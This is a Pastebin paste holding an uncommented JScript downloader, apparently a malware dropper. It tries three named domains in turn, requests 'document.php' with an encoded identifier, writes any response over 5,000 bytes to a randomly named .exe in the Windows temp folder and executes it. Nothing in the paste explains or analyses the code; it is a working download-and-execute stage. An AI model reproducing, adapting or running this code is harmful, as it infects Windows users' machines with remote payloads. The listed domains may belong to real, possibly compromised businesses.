Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function dl(fr) {
- var b = "www.mybusinessdoc.com crowleywesternplows.com liveoakresort.com".split(" ");
- for (var i = 0; i < b.length; i++) {
- var ws = new ActiveXObject("WScript.Shell");
- var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + Math.round(Math.random() * 100000000) + ".exe";
- var dn = 0;
- var xo = new ActiveXObject("MSXML2.XMLHTTP");
- xo.onreadystatechange = function() {
- if (xo.readyState == 4 && xo.status == 200) {
- var xa = new ActiveXObject("ADODB.Stream");
- xa.open();
- xa.type = 1;
- xa.write(xo.ResponseBody);
- if (xa.size > 5000) {
- dn = 1;
- xa.position = 0;
- xa.saveToFile(fn, 2);
- try {
- ws.Run(fn, 1, 0);
- } catch (er) {};
- };
- xa.close();
- };
- };
- try {
- xo.open("GET", "http://" + b[i] + "/document.php?rnd=" + fr + "&id=545D535E0E010A0A0D0201164A0E4A09011601000D100C240E1409070C0517014A070B09", false);
- xo.send();
- } catch (er) {};
- if (dn == 1) break;
- }
- };
- dl(7351);
- dl(6302);
Add Comment
Please, Sign In to add comment